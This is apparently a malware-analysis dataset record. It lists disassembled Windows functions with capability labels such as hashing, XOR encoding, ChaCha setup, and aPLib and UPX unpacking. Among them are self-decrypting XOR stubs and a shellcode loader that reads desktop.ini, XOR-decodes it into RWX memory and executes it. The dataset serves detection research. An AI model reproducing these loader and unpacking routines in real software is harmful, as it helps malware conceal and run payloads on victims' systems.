joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cf950
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
mov ebx, 0x37
push edi
mov edi, edx
test ecx, ecx
jne 0x4cf96f
pop edi
lea eax, [ebx - 0x36]
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x1b8
mov byte [ebp - 1], 1
mov eax, ecx
mov dword [ebp - 8], 2
ror eax, 8
rol ecx, 8
and eax, 0xff00ff00
and ecx, 0xff00ff
or eax, ecx
mov dword [ebp - 0xc], eax
push esi
nop dword [eax + eax]
push 1
lea edx, [ebp - 1]
mov dword [ebp - 0x7c], 0x6a09e667
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x78], 0xbb67ae85
mov dword [ebp - 0x74], 0x3c6ef372
mov dword [ebp - 0x70], 0xa54ff53a
mov dword [ebp - 0x6c], 0x510e527f
mov dword [ebp - 0x68], 0x9b05688c
mov dword [ebp - 0x64], 0x1f83d9ab
mov dword [ebp - 0x60], 0x5be0cd19
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call fcn.004c9850
mov esi, eax
add esp, 4
test esi, esi
jne 0x4cfadd
inc byte [ebp - 1]
lea edx, [ebp - 0xc]
push 4
lea ecx, [ebp - 0x7c]
call fcn.004c9850
mov esi, eax
add esp, 4
test esi, esi
jne 0x4cfadd
cmp byte [ebp + 0xc], 4
je 0x4cfa4b
push 1
lea edx, [ebp + 0xc]
lea ecx, [ebp - 0x7c]
call fcn.004c9850
mov esi, eax
add esp, 4
test esi, esi
jne 0x4cfadd
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x4cfa5e
cmp dword [ebp + 0x14], eax
jbe 0x4cfa74
mov esi, 0xffffff53
jmp 0x4cfadd
push dword [ebp + 0x14]
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.004c9850
mov esi, eax
add esp, 4
test esi, esi
jne 0x4cfadd
mov ecx, dword [ebp + 0x18]
test ecx, ecx
je 0x4cfa96
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x4cfa96
mov edx, ecx
lea ecx, [ebp - 0x7c]
push eax
call fcn.004c9850
mov esi, eax
add esp, 4
test esi, esi
jne 0x4cfadd
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x7c]
call fcn.004ca090
mov esi, eax
test esi, esi
jne 0x4cfadd
cmp ebx, 0x20
jbe 0x4cfacc
movups xmm0, xmmword [ebp - 0x9c]
sub ebx, 0x20
movups xmmword [edi], xmm0
movups xmm0, xmmword [ebp - 0x8c]
movups xmmword [edi + 0x10], xmm0
add edi, 0x20
jmp 0x4cfadd
push ebx
lea eax, [ebp - 0x9c]
push eax
push edi
call fcn.0041d1d0
add esp, 0xc
sub dword [ebp - 8], 1
jne 0x4cf9a0
mov eax, 0x20
lea ecx, [ebp - 0x9c]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x4cfaf2
test esi, esi
pop esi
pop edi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4cfb10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov eax, edx
xor esi, esi
mov edx, ecx
mov dword [ebp - 8], eax
push edi
mov edi, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], edx
test edi, edi
jle 0x4cfbed
push ebx
mov ebx, edx
sub ebx, eax
cmp edi, 8
jb 0x4cfbc9
mov esi, dword [ebp - 4]
mov edx, edi
and edx, 0xfffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
add eax, 4
movd xmm2, dword [ecx + esi]
lea eax, [eax + 8]
movd xmm1, dword [eax - 0xc]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
add ecx, 8
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [eax - 8]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [ebx + eax - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp ecx, edx
jl 0x4cfb50
por xmm3, xmm4
movaps xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd esi, xmm3
cmp ecx, edi
jge 0x4cfbe4
mov eax, dword [ebp - 8]
add eax, ecx
sub edi, ecx
nop dword [eax]
movzx edx, byte [ebx + eax]
lea eax, [eax + 1]
movzx ecx, byte [eax - 1]
xor edx, ecx
or esi, edx
sub edi, 1
jne 0x4cfbd0
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4d06d0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
test edi, edi
je 0x4d077e
test ebx, ebx
je 0x4d077e
mov esi, dword [ebp + 8]
cmp esi, 0x10
je 0x4d06fe
cmp esi, 0x20
jne 0x4d077e
test bl, 3
je 0x4d0714
push esi
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.0041d1d0
add esp, 0xc
lea ebx, [ebp - 0x20]
mov eax, dword [ebx]
lea ecx, [ebx + 0x10]
mov dword [edi + 0x10], eax
cmp esi, 0x20
mov eax, dword [ebx + 4]
mov edx, 0x50521c
mov dword [edi + 0x14], eax
cmovne ecx, ebx
mov eax, dword [ebx + 8]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0xc]
mov dword [edi + 0x1c], eax
mov eax, str.expand_32_byte_kexpand_16_byte_k
cmove edx, eax
mov eax, dword [ecx]
mov dword [edi + 0x20], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x24], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x28], eax
mov eax, dword [ecx + 0xc]
mov dword [edi + 0x2c], eax
mov eax, dword [edx]
mov dword [edi], eax
mov eax, dword [edx + 4]
mov dword [edi + 4], eax
mov eax, dword [edx + 8]
mov dword [edi + 8], eax
mov eax, dword [edx + 0xc]
mov dword [edi + 0xc], eax
xor eax, eax
mov dword [edi + 0x40], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0xffffff53
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d3080
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, edx
push edi
mov edi, ecx
test esi, esi
je 0x4d321e
test edi, edi
je 0x4d321e
movzx edx, byte [esi + 3]
movzx eax, byte [esi + 2]
and edx, 3
shl edx, 8
or edx, eax
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [edi], edx
movzx ecx, byte [esi + 6]
movzx eax, byte [esi + 5]
and ecx, 0xf
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
and eax, 0xfc
or ecx, eax
movzx eax, byte [esi + 3]
shl ecx, 6
shr eax, 2
and eax, 3
or ecx, eax
mov dword [edi + 4], ecx
movzx ecx, byte [esi + 9]
movzx eax, byte [esi + 8]
and ecx, 0x3f
shl ecx, 8
and eax, 0xfc
or ecx, eax
movzx eax, byte [esi + 7]
shl ecx, 8
and eax, 0xf
or ecx, eax
movzx eax, byte [esi + 6]
shl ecx, 4
shr eax, 4
or ecx, eax
mov dword [edi + 8], ecx
movzx ecx, byte [esi + 0xc]
movzx eax, byte [esi + 0xb]
and ecx, 0xfc
shl ecx, 8
and eax, 0xf
or ecx, eax
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 2
shr eax, 6
or ecx, eax
mov dword [edi + 0xc], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
and ecx, 0xf
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], ecx
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x28], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x2c], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x18]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x30], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], ecx
xor eax, eax
mov byte [edi + 0x4c], 0
pop edi
pop esi
ret
pop edi
mov eax, 0xffffff53
pop esi
ret

Function at 0x4ee930
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
test al, 3
jne 0x4ee950
push esi
sub edx, ecx
mov esi, 2
mov eax, dword [edx + ecx]
lea ecx, [ecx + 4]
xor dword [ecx - 4], eax
sub esi, 1
jne 0x4ee940
pop esi
ret
movzx eax, byte [edx]
xor byte [ecx], al
movzx eax, byte [edx + 1]
xor byte [ecx + 1], al
movzx eax, byte [edx + 2]
xor byte [ecx + 2], al
movzx eax, byte [edx + 3]
xor byte [ecx + 3], al
movzx eax, byte [edx + 4]
xor byte [ecx + 4], al
movzx eax, byte [edx + 5]
xor byte [ecx + 5], al
movzx eax, byte [edx + 6]
xor byte [ecx + 6], al
movzx eax, byte [edx + 7]
xor byte [ecx + 7], al
ret
Function at 0x4eea70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 4], esi
test esi, esi
je 0x4eebef
test edx, edx
je 0x4eebef
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x4eebe4
cmp edi, 0x80
ja 0x4eebe4
push ebx
push edi
push edx
push esi
mov dword [esi + 0x90], edi
mov dword [esi + 0x94], 0x28
call fcn.0041d1d0
add esp, 0xc
cmp edi, 0x80
jge 0x4eeaff
lea edx, [edi - 1]
mov ebx, 0x80
add edx, esi
mov esi, 1
sub esi, edi
sub ebx, edi
mov al, byte [edx]
nop dword [eax + eax]
movzx ecx, byte [esi + edx]
lea edx, [edx + 1]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [eax + 0x509c90]
mov byte [edx], al
sub ebx, 1
jne 0x4eeae0
mov esi, dword [ebp - 4]
movzx ecx, byte [esi + 0x7b]
lea eax, [esi + 0x7b]
mov edi, 0x29
mov cl, byte [ecx + 0x509c90]
mov byte [eax], cl
movzx edx, byte [eax + 4]
lea eax, [eax - 3]
movzx ecx, cl
xor edx, ecx
mov cl, byte [edx + 0x509c90]
mov byte [eax + 2], cl
movzx edx, byte [eax + 6]
movzx ecx, cl
xor edx, ecx
mov cl, byte [edx + 0x509c90]
mov byte [eax + 1], cl
movzx edx, byte [eax + 5]
movzx ecx, cl
xor edx, ecx
mov cl, byte [edx + 0x509c90]
mov byte [eax], cl
sub edi, 1
jne 0x4eeb13
lea edx, [esi + 2]
mov edi, 0x10
mov ebx, 0x100
nop dword [eax]
movzx ecx, byte [edx - 1]
lea edx, [edx + 8]
movzx eax, byte [edx - 0xa]
imul ecx, ebx
add cx, ax
mov word [edx - 0xa], cx
movzx ecx, byte [edx - 7]
movzx eax, byte [edx - 8]
imul ecx, ebx
add cx, ax
mov word [edx - 8], cx
movzx ecx, byte [edx - 5]
movzx eax, byte [edx - 6]
imul ecx, ebx
add cx, ax
mov word [edx - 6], cx
movzx ecx, byte [edx - 3]
movzx eax, byte [edx - 4]
imul ecx, ebx
add cx, ax
mov word [edx - 4], cx
sub edi, 1
jne 0x4eeb60
mov ecx, dword [ebp + 0xc]
pop ebx
test ecx, ecx
je 0x4eebd1
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [esi + 0x80], eax
xor eax, eax
pop edi
mov dword [esi + 0x84], ecx
pop esi
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
xor eax, eax
pop edi
movq qword [esi + 0x80], xmm0
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0xffffff16
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0xffffff53
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x108bd058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.108bd1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x108bd07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108bd06a
add dl, dl
jne 0x108bd089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108bd0dc
xor eax, eax
add dl, dl
jne 0x108bd096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108bd17d
add dl, dl
jne 0x108bd0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108bd0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108bd0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108bd0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x108bd0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x108bd075
mov eax, 1
add dl, dl
jne 0x108bd0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108bd0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108bd0e1
sub eax, ebx
mov ebx, 1
jne 0x108bd128
mov ecx, 1
add dl, dl
jne 0x108bd10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108bd119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108bd105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108bd075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x108bd13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108bd14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108bd136
cmp eax, 0x7d00
jae 0x108bd16d
cmp eax, 0x500
jb 0x108bd168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108bd075
cmp eax, 0x7f
ja 0x108bd170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108bd075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x108bd19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x108bd075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x569380
Capabilities:
Move file

Disassembly:
push 0xffffffffffffffff
push 0x594ad8
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x629d58]
xor eax, esp
mov dword [esp + 0x54], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x629d58]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov edi, dword [esp + 0x7c]
mov esi, dword [esp + 0x80]
mov ebp, dword [esp + 0x84]
push 0x19
xor ebx, ebx
push str.boost::filesystem::rename
lea ecx, [esp + 0x1c]
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x1c], bl
call fcn.00403cc0
mov eax, 8
mov dword [esp + 0x74], ebx
cmp dword [esi + 0x14], eax
jb 0x5693f8
mov ecx, dword [esi]
jmp 0x5693fa
mov ecx, esi
cmp dword [edi + 0x14], eax
jb 0x569403
mov eax, dword [edi]
jmp 0x569405
mov eax, edi
push 3
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x569424
cmp ebp, ebx
je 0x569464
mov dword [ebp], ebx
call fcn.0056a210
mov dword [ebp + 4], eax
jmp 0x569464
call fcn.0056a210
cmp ebp, ebx
jne 0x569456
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push eax
push esi
push edi
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x44]
call fcn.00568ac0
push 0x61e6c4
lea ecx, [esp + 0x34]
push ecx
call fcn.004fc4f1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp], eax
mov dword [ebp + 4], esi
cmp dword [esp + 0x28], 0x10
jb 0x569478
mov edx, dword [esp + 0x14]
push edx
call fcn.0040d019
add esp, 4
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.004fbd5c
add esp, 0x64
ret

Function at 0x56af60
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
je 0x56afcf
mov eax, dword [esp + 0xc]
test eax, eax
je 0x56afcf
mov cl, byte [eax]
cmp cl, 0xbc
jne 0x56afa2
cmp byte [eax + 1], 0xbd
jne 0x56afa2
push 0
add eax, 2
push eax
push edi
call fcn.005441b0
mov eax, dword [esp + 0x18]
push 0
push eax
call fcn.00544630
mov byte [eax + edi - 4], 0
add esp, 0x14
mov eax, edi
pop edi
ret
xor cl, 0x23
push esi
xor esi, esi
mov byte [edi], cl
cmp byte [eax], 0
je 0x56afc6
mov ecx, edi
sub ecx, eax
mov dl, byte [eax + 1]
inc eax
dec dl
xor dl, byte [ecx + eax - 1]
inc esi
mov byte [ecx + eax], dl
cmp byte [eax], 0
jne 0x56afb3
mov byte [esi + edi], 0
pop esi
mov eax, edi
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x584fa5
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x584fe0
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x584fc7
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x584fd8
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x584fe2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x584fbd
xor eax, eax
pop edi
pop esi
ret
Function at 0x59b860
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push 0x60
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.004fc2f0
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ecx], 0x67452301
mov edx, dword [ebp + 8]
mov dword [edx + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0x10325476
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], 0xc3d2e1f0
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x103cb200
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x103cb3ed
pushal
mov esi, section.UPX1
lea edi, [esi - 0x239000]
push edi
or ebp, 0xffffffff
jmp 0x103cb22a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x103cb231
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x103cb220
mov eax, 1
add ebx, ebx
jne 0x103cb243
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x103cb254
jne 0x103cb273
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x103cb273
dec eax
add ebx, ebx
jne 0x103cb260
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x103cb238
add ebx, ebx
jne 0x103cb26f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x103cb2c5
xor ecx, ecx
sub eax, 3
jb 0x103cb28b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x103cb2fa
sar eax, 1
mov ebp, eax
jmp 0x103cb296
add ebx, ebx
jne 0x103cb296
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x103cb264
inc ecx
add ebx, ebx
jne 0x103cb2a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x103cb264
add ebx, ebx
jne 0x103cb2b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x103cb2a6
jne 0x103cb2c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x103cb2a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x103cb2e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x103cb2d6
jmp 0x103cb226
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x103cb2e4
add edi, ecx
jmp 0x103cb226
pop esi
mov edi, esi
mov ecx, 0xdcd4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x103cb302
cmp byte [edi], 0x3e
jne 0x103cb302
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x103cb307
lea edi, [esi + 0x3bc000]
mov eax, dword [edi]
or eax, eax
je 0x103cb37f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3cf800]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3cf954]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x103cb334
mov ecx, edi
jns 0x103cb363
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3cf958]
or eax, eax
je 0x103cb379
mov dword [ebx], eax
add ebx, 4
jmp 0x103cb351
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x103cb3b0
cmp al, 0xef
ja 0x103cb3a3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x103cb385
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x103cb392
mov ebp, dword [esi + 0x3cf95c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x103cb3e4
sub esp, 0xffffff80
jmp 0x1014ba7e